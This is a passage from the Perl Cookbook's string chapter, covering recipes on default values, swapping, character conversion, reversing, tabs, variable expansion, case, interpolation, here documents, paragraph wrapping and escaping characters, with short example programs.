The && operator works analogously: It returns its first operand if that operand is false; otherwise, it returns the second one. Because there aren't as many interesting false values as there are true ones, this property isn't used much. One use is demonstrated in Recipe 13.11 or 14.11.

The ||= assignment operator looks odd, but it works exactly like the other binary assignment operators. For nearly all Perl's binary operators, $VAR OP= VALUE means $VAR = $VAR OP VALUE; for example, $a += $b is the same as $a = $a + $b. So ||= is used to set a variable when that variable is itself still false. Since the || check is a simple Boolean one - testing for truth - it doesn't care about undefined values even under -w.

Here's an example of ||= that sets $starting_point to "Greenwich" unless it is already set. Again, we assume $starting_point won't have the value 0 or "0", or that if it does, it's okay to change it.

$starting_point ||= "Greenwich";

You can't use or in place of || in assignments because or's precedence is too low. $a = $b or $c is equivalent to ($a = $b) or $c. This will always assign $b to $a, which is not the behavior you want.

Don't extend this curious use of || and ||= from scalars to arrays and hashes. It doesn't work because the operators put their left operand into scalar context. Instead, you must do something like this:

@a = @b unless @a;          # copy only if empty
@a = @b ? @b : @c;          # assign @b if nonempty, else @c

See Also

The || operator in perlop (1) or Chapter 2 of Programming Perl; the defined and exists functions in perlfunc (1) and Chapter 3 of Programming Perl

Previous: 1.1. Accessing Substrings | Perl Cookbook | Next: 1.3. Exchanging Values Without Using Temporary Variables
1.1. Accessing Substrings | Book Index | 1.3. Exchanging Values Without Using Temporary Variables


Recipe 1.3. Exchanging Values Without Using Temporary Variables

Perl CookbookSearch this book

1.3. Exchanging Values Without Using Temporary Variables

Problem

You want to exchange the values of two scalar variables, but don't want to use a temporary variable.

Solution

Use list assignment to reorder the variables.

($VAR1, $VAR2) = ($VAR2, $VAR1);

Discussion

Most programming languages force you to use an intermediate step when swapping two variables' values:

$temp    = $a;
$a       = $b;
$b       = $temp;

Not so in Perl. It tracks both sides of the assignment, guaranteeing that you don't accidentally clobber any of your values. This lets you eliminate the temporary variable:

$a       = "alpha";
$b       = "omega";
($a, $b) = ($b, $a);        # the first shall be last -- and versa vice

You can even exchange more than two variables at once:

($alpha, $beta, $production) = qw(January March August);
# move beta       to alpha,
# move production to beta,
# move alpha      to production
($alpha, $beta, $production) = ($beta, $production, $alpha);

When this code finishes, $alpha, $beta, and $production have the values "March", "August", and "January".

See Also

The section on "List value constructors" in perldata (1) and Chapter 2 of Programming Perl

Previous: 1.2. Establishing a Default Value | Perl Cookbook | Next: 1.4. Converting Between ASCII Characters and Values
1.2. Establishing a Default Value | Book Index | 1.4. Converting Between ASCII Characters and Values


Recipe 1.4. Converting Between ASCII Characters and Values

Perl CookbookSearch this book

1.4. Converting Between ASCII Characters and Values

Problem

You want to print out the number represented by a given ASCII character, or you want to print out an ASCII character given a number.

Solution

Use ord to convert a character to a number, or use chr to convert a number to a character:

$num  = ord($char);
$char = chr($num);

The %c format used in printf and sprintf also converts a number to a character:

$char = sprintf("%c", $num);                # slower than chr($num)
printf("Number %d is character %c\n", $num, $num);
Number 101 is character e

A C* template used with pack and unpack can quickly convert many characters.

@ASCII = unpack("C*", $string);
$STRING = pack("C*", @ascii);

Discussion

Unlike low-level, typeless languages like assembler, Perl doesn't treat characters and numbers interchangeably; it treats strings and numbers interchangeably. That means you can't just assign characters and numbers back and forth. Perl provides Pascal's chr and ord to convert between a character and its corresponding ordinal value:

$ascii_value = ord("e");    # now 101
$character   = chr(101);    # now "e"

If you already have a character, it's really represented as a string of length one, so just print it out directly using print or the %s format in printf and sprintf. The %c format forces printf or sprintf to convert a number into a character; it's not used for printing a character that's already in character format (that is, a string).

printf("Number %d is character %c\n", 101, 101);

The pack, unpack, chr, and ord functions are all faster than sprintf. Here are pack and unpack in action:

@ascii_character_numbers = unpack("C*", "sample");
print "@ascii_character_numbers\n";
115 97 109 112 108 101

$word = pack("C*", @ascii_character_numbers);
$word = pack("C*", 115, 97, 109, 112, 108, 101);   # same
print "$word\n";
sample

Here's how to convert from HAL to IBM:

$hal = "HAL";
@ascii = unpack("C*", $hal);
foreach $val (@ascii) {
    $val++;                 # add one to each ASCII value
}
$ibm = pack("C*", @ascii);
print "$ibm\n";             # prints "IBM"

The ord function can return numbers from 0 to 255. These correspond to C's unsigned char data type.

See Also

The chr, ord, printf, sprintf, pack, and unpack functions in perlfunc (1) and Chapter 3 of Programming Perl

Previous: 1.3. Exchanging Values Without Using Temporary Variables | Perl Cookbook | Next: 1.5. Processing a String One Character at a Time
1.3. Exchanging Values Without Using Temporary Variables | Book Index | 1.5. Processing a String One Character at a Time


Recipe 1.5. Processing a String One Character at a Time

Perl CookbookSearch this book

1.5. Processing a String One Character at a Time

Problem

You want to process a string one character at a time.

Solution

Use split with a null pattern to break up the string into individual characters, or use unpack if you just want their ASCII values:

@array = split(//, $string);

@array = unpack("C*", $string);

Or extract each character in turn with a loop:

    while (/(.)/g) { # . is never a newline here
        # do something with $1
    }

Discussion

As we said before, Perl's fundamental unit is the string, not the character. Needing to process anything a character at a time is rare. Usually some kind of higher-level Perl operation, like pattern matching, solves the problem more easily. See, for example, Recipe 7.7, where a set of substitutions is used to find command-line arguments.

Splitting on a pattern that matches the empty string returns a list of the individual characters in the string. This is a convenient feature when done intentionally, but it's easy to do unintentionally. For instance, /X*/ matches the empty string. Odds are you will find others when you don't mean to.

Here's an example that prints the characters used in the string "an apple a day", sorted in ascending ASCII order:

%seen = ();
$string = "an apple a day";
foreach $byte (split //, $string) {
    $seen{$byte}++;
}
print "unique chars are: ", sort(keys %seen), "\n";
unique chars are:  adelnpy

These split and unpack solutions give you an array of characters to work with. If you don't want an array, you can use a pattern match with the /g flag in a while loop, extracting one character at a time:

%seen = ();
$string = "an apple a day";
while ($string =~ /(.)/g) {
    $seen{$1}++;
}
print "unique chars are: ", sort(keys %seen), "\n";
unique chars are:  adelnpy

In general, if you find yourself doing character-by-character processing, there's probably a better way to go about it. Instead of using index and substr or split and unpack, it might be easier to use a pattern. Instead of computing a 32-bit checksum by hand, as in the next example, the unpack function can compute it far more efficiently.

The following example calculates the checksum of $string with a foreach loop. There are better checksums; this just happens to be the basis of a traditional and computationally easy checksum. See the MD5 module from CPAN if you want a more sound checksum.

$sum = 0;
foreach $ascval (unpack("C*", $string)) {
    $sum += $ascval;
}
print "sum is $sum\n";
# prints "1248" if $string was "an apple a day"

This does the same thing, but much faster:

$sum = unpack("%32C*", $string);

This lets us emulate the SysV checksum program:

#!/usr/bin/perl
# sum - compute 16-bit checksum of all input files
$checksum = 0;
while (<>) { $checksum += unpack("%16C*", $_) }
$checksum %= (2 ** 16) - 1;
print "$checksum\n";

Here's an example of its use:

% perl sum /etc/termcap
1510

If you have the GNU version of sum, you'll need to call it with the - -sysv option to get the same answer on the same file.

% sum --sysv /etc/termcap
1510 851 /etc/termcap

Another tiny program that processes its input one character at a time is slowcat, shown in Example 1.1. The idea here is to pause after each character is printed so you can scroll text before an audience slowly enough that they can read it.

Example 1.1: slowcat

#!/usr/bin/perl
# slowcat - emulate a   s l o w   line printer
# usage: slowcat [-DELAY] [files ...]
$DELAY = ($ARGV[0] =~ /^-([.\d]+)/) ? (shift, $1) : 1;
$| = 1;
while (<>) {
    for (split(//)) {
        print;
        select(undef,undef,undef, 0.005 * $DELAY);
    }
}

See Also

The split and unpack functions in perlfunc (1) and Chapter 3 of Programming Perl; the use of select for timing is explained in Recipe 3.10

Previous: 1.4. Converting Between ASCII Characters and Values | Perl Cookbook | Next: 1.6. Reversing a String by Word or Character
1.4. Converting Between ASCII Characters and Values | Book Index | 1.6. Reversing a String by Word or Character


Recipe 1.6. Reversing a String by Word or Character

Perl CookbookSearch this book

1.6. Reversing a String by Word or Character

Problem

You want to reverse the characters or words of a string.

Solution

Use the reverse function in scalar context for flipping bytes.

$revbytes = reverse($string);

To flip words, use reverse in list context with split and join:

$revwords = join(" ", reverse split(" ", $string));

Discussion

The reverse function is two different functions in one. When called in scalar context, it joins together its arguments and returns that string in reverse order. When called in list context, it returns its arguments in the opposite order. When using reverse for its byte-flipping behavior, use scalar to force scalar context unless it's entirely obvious.

$gnirts   = reverse($string);       # reverse letters in $string

@sdrow    = reverse(@words);        # reverse elements in @words

$confused = reverse(@words);        # reverse letters in join("", @words)

Here's an example of reversing words in a string. Using a single space, " ", as the pattern to split is a special case. It causes split to use contiguous whitespace as the separator and also discard any leading null fields, just like awk. Normally, split discards only trailing null fields.

# reverse word order
$string = 'Yoda said, "can you see this?"';
@allwords    = split(" ", $string);
$revwords    = join(" ", reverse @allwords);
print $revwords, "\n";
this?" see you "can said, Yoda

We could remove the temporary array @allwords and do it on one line:

$revwords = join(" ", reverse split(" ", $string));

Multiple whitespace in $string becomes a single space in $revwords. If you want to preserve whitespace, use this:

$revwords = join("", reverse split(/(\s+)/, $string));

One use of reverse is to test whether a word is a palindrome (a word that reads the same backward or forward):

$word = "reviver";
$is_palindrome = ($word eq reverse($word));

We can turn this into a one-liner that finds big palindromes in /usr/dict/words.

% perl -nle 'print if $_ eq reverse && length > 5' /usr/dict/words
deedeed
degged
deified
denned
hallah
kakkak
murdrum
redder
repaper
retter
reviver
rotator
sooloos
tebbet
terret
tut-tut

See Also

The split, reverse, and scalar functions in perlfunc (1) and Chapter 3 of Programming Perl; the "Switches" section of perlrun (1) and Chapter 6 of Programming Perl

Previous: 1.5. Processing a String One Character at a Time | Perl Cookbook | Next: 1.7. Expanding and Compressing Tabs
1.5. Processing a String One Character at a Time | Book Index | 1.7. Expanding and Compressing Tabs


Recipe 1.7. Expanding and Compressing Tabs

Perl CookbookSearch this book

1.7. Expanding and Compressing Tabs

Problem

You want to convert tabs in a string to the appropriate number of spaces, or vice versa. Converting spaces into tabs can be used to reduce file size when the file has many consecutive spaces. Converting tabs into spaces may be required when producing output for devices that don't understand tabs or think they're at different positions than you do.

Solution

Either use a rather funny looking substitution:

while ($string =~ s/\t+/' ' x (length($&) * 8 - length($`) % 8)/e) {
    # spin in empty loop until substitution finally fails
}

Or the standard Text::Tabs module:

use Text::Tabs;
@expanded_lines  = expand(@lines_with_tabs);
@tabulated_lines = unexpand(@lines_without_tabs);

Discussion

Assuming that tab stops are set every N positions (where N is customarily eight), it's easy to convert them into spaces. The standard, textbook method does not use the Text::Tabs module but suffers from being difficult to understand. Also, it uses the $` variable, whose very mention currently slows down every pattern match in the program. The reason for this is given in the "Special Variables" section of the Introduction to Chapter 6.

while (<>) {
    1 while s/\t+/' ' x (length($&) * 8 - length($`) % 8)/e;
    print;
}

If you're looking at the second while loop and wondering why it couldn't have been written as part of a simple s///g instead, it's because you need to recalculate the length from the start of the line again each time (stored in $`) rather than merely from where the last match occurred.

The obscure convention 1 while CONDITION is the same as while (CONDITION) { }, but shorter. Its origins date to when Perl ran the first incredibly faster than the second. While the second is now almost as fast, it remains convenient, and the habit has stuck.

The standard Text::Tabs module provides conversion functions to convert both directions, exports a $tabstop variable to control the number of spaces per tab, and does not incur the performance hit because it uses $1 and $2 rather than $& and $`.

use Text::Tabs;
$tabstop = 4;
while (<>) { print expand($_) }

We can also use Text::Tabs to "unexpand" the tabs. This example uses the default $tabstop value of 8:

use Text::Tabs;
while (<>) { print unexpand($_) }

See Also

The manpage for the Text::Tabs module (also in Chapter 7 of Programming Perl); the s/// operator in perlre (1) and perlop (1) and the "Pattern Matching" and "Regular Expressions" sections of Chapter 2 of Programming Perl

Previous: 1.6. Reversing a String by Word or Character | Perl Cookbook | Next: 1.8. Expanding Variables in User Input
1.6. Reversing a String by Word or Character | Book Index | 1.8. Expanding Variables in User Input


Recipe 1.8. Expanding Variables in User Input

Perl CookbookSearch this book

1.8. Expanding Variables in User Input

Problem

You've read in a string with an embedded variable reference, such as:

You owe $debt to me.

Now you want to replace $debt in the string with its value.

Solution

Use a substitution with symbolic references if the variables are all globals:

$text =~ s/\$(\w+)/${$1}/g;

But use a double /ee if they might be lexical (my) variables:

$text =~ s/(\$\w+)/$1/gee;

Discussion

The first technique is basically "find what looks like a variable name, and then use symbolic dereferencing to interpolate its contents." If $1 contains the string somevar, then ${$1} will be whatever $somevar contains. This won't work if the use strict 'refs' pragma is in effect because that bans symbolic dereferencing.

Here's an example:

use vars qw($rows $cols);
no strict 'refs';                   # for ${$1}/g below
my $text;

($rows, $cols) = (24, 80);
$text = q(I am $rows high and $cols long);  # like single quotes!
$text =~ s/\$(\w+)/${$1}/g;
print $text;
I am 24 high and 80 long

You may have seen the /e substitution modifier used to evaluate the replacement as code rather than as a string. It's designed for situations such as doubling every whole number in a string:

$text = "I am 17 years old";
$text =~ s/(\d+)/2 * $1/eg;

When Perl is compiling your program and sees a /e on a substitute, it compiles the code in the replacement block along with the rest of your program, long before the substitution actually happens. When a substitution is made, $1 is replaced with the string that matched. The code to evaluate would then be something like:

2 * 17

If we tried saying:

$text = 'I am $AGE years old';      # note single quotes
$text =~ s/(\$\w+)/$1/eg;           # WRONG

assuming $text held a mention of the variable $AGE, Perl would dutifully replace $1 with $AGE and then evaluate code that looked like:

'$AGE'

which just yields us our original string back again. We need to evaluate the result again to get the value of the variable. To do that, just add another /e:

$text =~ s/(\$\w+)/$1/eeg;          # finds my() variables

Yes, you can have as many /e modifiers as you'd like. Only the first one is compiled and syntax-checked with the rest of your program. This makes it work like the eval {BLOCK} construct, except that it doesn't trap exceptions. Think of it more as a do {BLOCK} instead.

Subsequent /e modifiers are quite different. They're more like the eval "STRING" construct. They don't get compiled until run-time. A small advantage of this scheme is that it doesn't make you put a no strict 'refs' pragma in the block. A tremendous advantage is that unlike the symbolic dereferencing, this mechanism can actually find lexical variables created with my, something symbolic references can never do.

The following example uses the /x modifier to enable whitespace and comments in the pattern part of the substitute and /e to evaluate the right-hand side as code. The /e modifier gives you more control over what happens in case of error or other extenuating circumstances, as we have here:

# expand variables in $text, but put an error message in
# if the variable isn't defined
$text =~ s{
     \$                         # find a literal dollar sign
    (\w+)                       # find a "word" and store it in $1
}{
    no strict 'refs';           # for $$1 below
    if (defined $$1) {
        $$1;                    # expand global variables only
    } else {
        "[NO VARIABLE: \$$1]";  # error msg
    }
}egx;

Note that the syntax of $$1 has changed for Perl 5.004: it used to mean ${$}1 but now means ${$1}. For backwards compatibility, in strings it still takes the old meaning (but generates a warning with -w). People will write ${$1} within a string to keep from dereferencing the PID variable. If $$ were 23448, then $$1 in a string would turn into 234481, not the contents of the variable whose name was stored in $1.

See Also

The s/// operator in perlre (1) and perlop (1) and the "Pattern Matching" and "Regular Expressions" sections of Chapter 2 of Programming Perl; the eval function in perlfunc (1) and Chapter 3 of Programming Perl; the similar use of substitutions in Recipe 20.9.

Previous: 1.7. Expanding and Compressing Tabs | Perl Cookbook | Next: 1.9. Controlling Case
1.7. Expanding and Compressing Tabs | Book Index | 1.9. Controlling Case


Recipe 1.9. Controlling Case

Perl CookbookSearch this book

1.9. Controlling Case

Problem

A string in uppercase needs converting to lowercase, or vice versa.

Solution

Use the lc and uc functions or the \L and \U string escapes.

use locale;                     # needed in 5.004 or above

$big = uc($little);             # "bo peep" -> "BO PEEP"
$little = lc($big);             # "JOHN"    -> "john"
$big = "\U$little";             # "bo peep" -> "BO PEEP"
$little = "\L$big";             # "JOHN"    -> "john"

To alter just one character, use the lcfirst and ucfirst functions or the \l and \u string escapes.

$big = "\u$little";             # "bo"      -> "Bo"
$little = "\l$big";             # "BoPeep"    -> "boPeep"

Discussion

The functions and string escapes look different, but both do the same thing. You can set the case of either the first character or the whole string. You can even do both at once to force uppercase on initial characters and lowercase on the rest.

The use locale directive tells Perl's case-conversion functions and pattern matching engine to respect your language environment, allowing for characters with diacritical marks, and so on. A common mistake is to use tr/// to convert case. (We're aware that the old Camel book recommended tr/A-Z/a-z/. In our defense, that was the only way to do it back then.) This won't work in all situations because when you say tr/A-Z/a-z/ you have omitted all characters with umlauts, accent marks, cedillas, and other diacritics used in dozens of languages, including English. The uc and \U case-changing commands understand these characters and convert them properly, at least when you've said use locale. (An exception is that in German, the uppercase form of � is SS, but it's not in Perl.)

use locale;                     # needed in 5.004 or above

$beast   = "dromedary";
# capitalize various parts of $beast
$capit   = ucfirst($beast);         # Dromedary
$capit   = "\u\L$beast";            # (same)
$capall  = uc($beast);              # DROMEDARY
$capall  = "\U$beast";              # (same)
$caprest = lcfirst(uc($beast));     # dROMEDARY
$caprest = "\l\U$beast";            # (same)

These capitalization changing escapes are commonly used to make the case in a string consistent:

# capitalize each word's first character, downcase the rest
$text = "thIS is a loNG liNE";
$text =~ s/(\w+)/\u\L$1/g;
print $text;
This Is A Long Line

You can also use their functional forms to do case-insensitive comparison:

if (uc($a) eq uc($b)) {
    print "a and b are the same\n";
}

The randcap program, shown in Example 1.2, randomly capitalizes 20 percent of the letters of its input. This lets you converse with 14-year-old WaREz d00Dz.

Example 1.2: randcap

#!/usr/bin/perl -p
# randcap: filter to randomly capitalize 20% of the letters
# call to srand() is unnecessary in 5.004
BEGIN { srand(time() ^ ($$ + ($$ << 15))) }
sub randcase { rand(100) < 20 ? "\u$_[0]" : "\l$_[0]" }
s/(\w)/randcase($1)/ge;

% randcap < genesis | head -9
boOk 01 genesis

001:001 in the BEginning goD created the heaven and tHe earTh.

001:002 and the earth wAS without ForM, aND void; AnD darkneSS was
        upon The Face of the dEEp. and the spIrit of GOd movEd upOn
        tHe face of the Waters.

001:003 and god Said, let there be ligHt: and therE wAs LigHt.

A more interesting approach would have been to take advantage of Perl's ability to use bitwise operators on strings:

sub randcase {
    rand(100) < 20 ? ("\040" ^ $1) : $1
}

That would, in 20 percent of the cases, switch the case of the letter. However, this misbehaves on 8-bit characters. The original randcase program had the same problem, but appying use locale would have easily fixed it.

This example of bitwise string operations quickly strips off all the high bits on a string:

$string &= "\177" x length($string);

Again, they'll be talking about you all over Europe, and not in the most glowing of terms, if you force all strings to seven bits.

See Also

The uc, lc, ucfirst, and lcfirst functions in perlfunc (1) and Chapter 3 of Programming Perl; the \L, \U, \l, and \u string escapes in the "Quote and Quote-like Operators" section of perlop (1) and Chapter 2 of Programming Perl

Previous: 1.8. Expanding Variables in User Input | Perl Cookbook | Next: 1.10. Interpolating Functions and Expressions Within Strings
1.8. Expanding Variables in User Input | Book Index | 1.10. Interpolating Functions and Expressions Within Strings


Recipe 1.10. Interpolating Functions and Expressions Within Strings

Perl CookbookSearch this book

1.10. Interpolating Functions and Expressions Within Strings

Problem

You want a function call or expression to expand within a string. This lets you construct more complex templates than with simple scalar variable interpolation.

Solution

You can break up your expression into distinct concatenated pieces:

$answer = $var1 . func() . $var2;   # scalar only

Or you can use the slightly sneaky @{[ LIST EXPR ]} or ${ \(SCALAR EXPR ) } expansions:

$answer = "STRING @{[ LIST EXPR ]} MORE STRING";
$answer = "STRING ${\( SCALAR EXPR )} MORE STRING";

Discussion

This code shows both techniques. The first line shows concatenation; the second shows the expansion trick:

$phrase = "I have " . ($n + 1) . " guanacos.";
$phrase = "I have ${\($n + 1)} guanacos.";

The first technique builds the final string by concatenating smaller strings, avoiding interpolation but achieving the same end. Because print effectively concatenates its entire argument list, if we were going to print $phrase, we could have just said:

print "I have ",  $n + 1, " guanacos.\n";

When you absolutely must have interpolation, you need the punctuation-riddled interpolation from the Solution. Only @, $, and \ are special within double quotes and most backquotes. (As with m// and s///, the qx() synonym is not subject to double-quote expansion if its delimiter is single quotes! $home = qx'echo home is $HOME'; would get the shell $HOME variable, not one in Perl.) So, the only way to force arbitrary expressions to expand is by expanding a ${} or @{} whose block contains a reference.

You can do more than simply assign to a variable after interpolation. It's a general mechanism that can be used in any double-quoted string. For instance, this example will build a string with an interpolated expression and pass the result to a function:

some_func("What you want is @{[ split /:/, $rec ]} items");

You can interpolate into a here document, as by:

die "Couldn't send mail" unless send_mail(<<"EOTEXT", $target);
To: $naughty
From: Your Bank
Cc: @{ get_manager_list($naughty) }
Date: @{[ do { my $now = `date`; chomp $now; $now } ]} (today)

Dear $naughty,

Today, you bounced check number @{[ 500 + int rand(100) ]} to us.
Your account is now closed.

Sincerely,
the management
EOTEXT

Expanding backquotes (``) is particularly challenging because you would normally end up with spurious newlines. By creating a braced block following the @ within the @{[]} anonymous array dereference, as we did in the last example, you can create private variables.

Although these techniques work, simply breaking your work up into several steps or storing everything in temporary variables is almost always clearer to the reader.

In version 5.004 of Perl, ${\ EXPR } wrongly evaluates EXPR in list instead of scalar context. This bug is fixed in version 5.005.

See Also

perlref (1) and the "Other Tricks You Can Do with Hard References" section of Chapter 4 of Programming Perl

Previous: 1.9. Controlling Case | Perl Cookbook | Next: 1.11. Indenting Here Documents
1.9. Controlling Case | Book Index | 1.11. Indenting Here Documents


Recipe 1.11. Indenting Here Documents

Perl CookbookSearch this book

1.11. Indenting Here Documents

Problem

When using the multiline quoting mechanism called a here document, the text must be flush against the margin, which looks out of place in the code. You would like to indent the here document text in the code, but not have the indentation appear in the final string value.

Solution

Use a s/// operator to strip out leading whitespace.

# all in one
($var = <<HERE_TARGET) =~ s/^\s+//gm;
    your text
    goes here
HERE_TARGET

# or with two steps
$var = <<HERE_TARGET;
    your text
    goes here
HERE_TARGET
$var =~ s/^\s+//gm;

Discussion

The substitution is straightforward. It removes leading whitespace from the text of the here document. The /m modifier lets the ^ character match at the start of each line in the string, and the /g modifier makes the pattern matching engine repeat the substitution as often as it can (i.e., for every line in the here document).

($definition = <<'FINIS') =~ s/^\s+//gm;
    The five varieties of camelids
    are the familiar camel, his friends
    the llama and the alpaca, and the
    rather less well-known guanaco
    and vicu觓.
FINIS

Be warned: all the patterns in this recipe use \s, which will also match newlines. This means they will remove any blank lines in your here document. If you don't want this, replace \s with [^\S\n] in the patterns.

The substitution makes use of the property that the result of an assignment can be used as the left-hand side of =~. This lets us do it all in one line, but it only works when you're assigning to a variable. When you're using the here document directly, it would be considered a constant value and you wouldn't be able to modify it. In fact, you can't change a here document's value unless you first put it into a variable.

Not to worry, though, because there's an easy way around this, particularly if you're going to do this a lot in the program. Just write a subroutine to do it:

sub fix {
    my $string = shift;
    $string =~ s/^\s+//gm;
    return $string;
}

print fix(<<"END");
    My stuff goes here
END

# With function predeclaration, you can omit the parens:
print fix <<"END";
    My stuff goes here
END

As with all here documents, you have to place this here document's target (the token that marks its end, END in this case) flush against the left-hand margin. If you want to have the target indented also, you'll have to put the same amount of whitespace in the quoted string as you use to indent the token.

($quote = <<'    FINIS') =~ s/^\s+//gm;
        ...we will have peace, when you and all your works have
        perished--and the works of your dark master to whom you would
        deliver us. You are a liar, Saruman, and a corrupter of men's
        hearts.  --Theoden in /usr/src/perl/taint.c
    FINIS
$quote =~ s/\s+--/\n--/;      #move attribution to line of its own

If you're doing this to strings that contain code you're building up for an eval, or just text to print out, you might not want to blindly strip off all leading whitespace because that would destroy your indentation. Although eval wouldn't care, your reader might.

Another embellishment is to use a special leading string for code that stands out. For example, here we'll prepend each line with @@@, properly indented:

if ($REMEMBER_THE_MAIN) {
    $perl_main_C = dequote<<'    MAIN_INTERPRETER_LOOP';
        @@@ int
        @@@ runops() {
        @@@     SAVEI32(runlevel);
        @@@     runlevel++;
        @@@     while ( op = (*op->op_ppaddr)() ) ;
        @@@     TAINT_NOT;
        @@@     return 0;
        @@@ }
    MAIN_INTERPRETER_LOOP
    # add more code here if you want
}

Destroying indentation also gets you in trouble with poets.

sub dequote;
$poem = dequote<<EVER_ON_AND_ON;
       Now far ahead the Road has gone,
          And I must follow, if I can,
       Pursuing it with eager feet,
          Until it joins some larger way
       Where many paths and errands meet.
          And whither then? I cannot say.
                --Bilbo in /usr/src/perl/pp_ctl.c
EVER_ON_AND_ON
print "Here's your poem:\n\n$poem\n";

Here is its sample output:

Here's your poem:
Now far ahead the Road has gone,
   And I must follow, if I can,
Pursuing it with eager feet,
   Until it joins some larger way
Where many paths and errands meet.
   And whither then? I cannot say.
         --Bilbo in /usr/src/perl/pp_ctl.c

The following dequote function handles all these cases. It expects to be called with a here document as its argument. It checks whether each line begins with a common substring, and if so, strips that off. Otherwise, it takes the amount of leading whitespace found on the first line and removes that much off each subsequent line.

sub dequote {
    local $_ = shift;
    my ($white, $leader);  # common whitespace and common leading string
    if (/^\s*(?:([^\w\s]+)(\s*).*\n)(?:\s*\1\2?.*\n)+$/) {
        ($white, $leader) = ($2, quotemeta($1));
    } else {
        ($white, $leader) = (/^(\s+)/, '');
    }
    s/^\s*?$leader(?:$white)?//gm;
    return $_;
}

If that pattern makes your eyes glaze over, you could always break it up and add comments by adding /x:

    if (m{
            ^                       # start of line
            \s *                    # 0 or more whitespace chars
            (?:                     # begin first non-remembered grouping
                 (                  #   begin save buffer $1
                    [^\w\s]         #     one byte neither space nor word
                    +               #     1 or more of such
                 )                  #   end save buffer $1
                 ( \s* )            #   put 0 or more white in buffer $2
                 .* \n              #   match through the end of first line
             )                      # end of first grouping
             (?:                    # begin second non-remembered grouping
                \s *                #   0 or more whitespace chars
                \1                  #   whatever string is destined for $1
                \2 ?                #   what'll be in $2, but optionally
                .* \n               #   match through the end of the line
             ) +                    # now repeat that group idea 1 or more
             $                      # until the end of the line
          }x
       )
    {
        ($white, $leader) = ($2, quotemeta($1));
    } else {
        ($white, $leader) = (/^(\s+)/, '');
    }
    s{
         ^                          # start of each line (due to /m)
         \s *                       # any amount of leading whitespace
            ?                       #   but minimally matched
         $leader                    # our quoted, saved per-line leader
         (?:                        # begin unremembered grouping
            $white                  #    the same amount
         ) ?                        # optionalize in case EOL after leader
    }{}xgm;

There, isn't that much easier to read? Well, maybe not; sometimes it doesn't help to pepper your code with insipid comments that mirror the code. This may be one of those cases.

See Also

The "Scalar Value Constructors" section of perldata (1) and the "Here Documents" section of Chapter 2 of Programming Perl; the s/// operator in perlre (1) and perlop (1), and the "Pattern Matching" section of Chapter 2 of Programming Perl

Previous: 1.10. Interpolating Functions and Expressions Within Strings | Perl Cookbook | Next: 1.12. Reformatting Paragraphs
1.10. Interpolating Functions and Expressions Within Strings | Book Index | 1.12. Reformatting Paragraphs


Recipe 1.12. Reformatting Paragraphs

Perl CookbookSearch this book

1.12. Reformatting Paragraphs

Problem

Your string is too big to fit the screen, and you want to break it up into lines of words, without splitting a word between lines. For instance, a style correction script might read a text file a paragraph at a time, replacing bad phrases with good ones. Replacing a phrase like utilizes the inherent functionality of with uses will change the length of lines, so it must somehow reformat the paragraphs when they're output.

Solution

Use the standard Text::Wrap module to put line breaks at the right place.

use Text::Wrap;
@OUTPUT = wrap($LEADTAB, $NEXTTAB, @PARA);

Discussion

The Text::Wrap module provides the wrap function, shown in Example 1.3, which takes a list of lines and reformats them into a paragraph having no line more than $Text::Wrap::columns characters long. We set $columns to 20, ensuring that no line will be longer than 20 characters. We pass wrap two arguments before the list of lines: the first is the indent for the first line of output, the second the indent for every subsequent line.

Example 1.3: wrapdemo

#!/usr/bin/perl -w
# wrapdemo - show how Text::Wrap works

@input = ("Folding and splicing is the work of an editor,",
          "not a mere collection of silicon",
          "and",
          "mobile electrons!");

use Text::Wrap qw($columns &wrap);

$columns = 20;
print "0123456789" x 2, "\n";
print wrap("    ", "  ", @input), "\n";

The result of this program is:

01234567890123456789
    Folding and
  splicing is the
  work of an
  editor, not a
  mere collection
  of silicon and
  mobile electrons!

We get back a single string, with newlines ending each line but the last:

# merge multiple lines into one, then wrap one long line
use Text::Wrap;
undef $/;
print wrap('', '', split(/\s*\n\s*/, <>));

If you have the Term::ReadKey module (available from CPAN) on your system, you can use it to determine your window size so you can wrap lines to fit the current screen size. If you don't have the module, sometimes the screen size can be found in $ENV{COLUMNS} or by parsing the output of the stty command.

The following program tries to reformat both short and long lines within a paragraph, similar to the fmt program, by setting the input record separator $/ to the empty string (causing < > to read paragraphs) and the output record separator $\ to two newlines. Then the paragraph is converted into one long line by changing all newlines (and any surrounding whitespace) to single spaces. Finally, we call the wrap function with both leading and subsequent tab strings set to the empty string so we can have block paragraphs.

use Text::Wrap      qw(&wrap $columns);
use Term::ReadKey   qw(GetTerminalSize);
($columns) = GetTerminalSize();
($/, $\)  = ('', "\n\n");   # read by paragraph, output 2 newlines
while (<>) {                # grab a full paragraph
    s/\s*\n\s*/ /g;         # convert intervening newlines to spaces
    print wrap('', '', $_); # and format
}

See Also

The split and join functions in perlfunc (1) and Chapter 3 of Programming Perl; the manpage for the standard Text::Wrap module, also in Chapter 7 of Programming Perl; the CPAN module Term::ReadKey, and its use in Recipe 15.6

Previous: 1.11. Indenting Here Documents | Perl Cookbook | Next: 1.13. Escaping Characters
1.11. Indenting Here Documents | Book Index | 1.13. Escaping Characters


Recipe 1.13. Escaping Characters

Perl CookbookSearch this book

1.13. Escaping Characters

Problem

You need to output a string with certain characters (quotes, commas, etc.) escaped. For instance, you're producing a format string for sprintf and want to convert literal % signs into %%.

Solution

Use a substitution to backslash or double each character to be escaped.

# backslash
$var =~ s/([CHARLIST])/\\$1/g;

# double
$var =~ s/([CHARLIST])/$1$1/g;

Discussion

$var is the variable to be altered. The CHARLIST is a list of characters to escape and can contain backslash escapes like \t and \n. If you just have one character to escape, omit the brackets:

$string =~ s/%/%%/g;

The following lets you do escaping when preparing strings to submit to the shell. (In practice, you would need to escape more than just ' and " to make any arbitrary string safe for the shell. Getting the list of characters right is so hard, and the risks if you get it wrong are so great, that you're better off using the list form of system and exec to run programs, shown in Recipe 16.2. They avoid the shell altogether.)

$string = q(Mom said, "Don't do that.");
$string =~ s/(['"])/\\$1/g;

We had to use two backslashes in the replacement because the replacement section of a substitution is read as a double-quoted string, and to get one backslash, you need to write two. Here's a similar example for VMS DCL, where you need to double every quote to get one through:

$string = q(Mom said, "Don't do that.");
$string =~ s/(['"])/$1$1/g;

Microsoft command interpreters are harder to work with. In DOS and Windows COMMAND.COM recognizes double quotes but not single ones, has no clue what to do with backquotes, and requires a backslash to make a double quote a literal. Almost any of the free or commercial Unix-like shell environments for Windows will improve this depressing situation.

Because we're using character classes in the regular expressions, we can use - to define a range, and ^ at the start to negate. This escapes all characters that aren't in the range A through Z.

$string =~ s/([^A-Z])/\\$1/g;

